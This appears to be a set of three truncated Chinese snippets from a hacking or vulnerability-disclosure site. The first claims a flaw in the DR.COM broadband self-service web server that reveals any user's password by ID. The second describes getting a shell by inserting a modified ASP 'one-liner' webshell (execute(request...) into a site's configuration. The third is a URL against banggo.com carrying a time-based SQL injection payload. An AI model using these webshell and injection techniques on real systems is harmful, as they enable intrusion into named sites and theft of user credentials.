DR.COM城市热点宽带，很多城市都用这个吧？市区，政府，企业，运营商，大学等等。。都用这套软件提供接入宽带服务 最近研究了下，发现个漏洞，在DR.COM USS用户自助服务登录的WEB服务器 可以直接查看到指定ID用户的密码，也就是查...

后台拿shell的方法呢， 在网站配置的地方插入一句话，这个普通的一句话是不能用的要用变异的一句话，插入，测试成功 一句话： view sourceprint?1 "%><%execute(request...

http://act.banggo.com/Ajax/adCodeInfo?time=0.7242165785281457&callback=jsonp1335235877318&adposid=175%09and%09sleep%2828...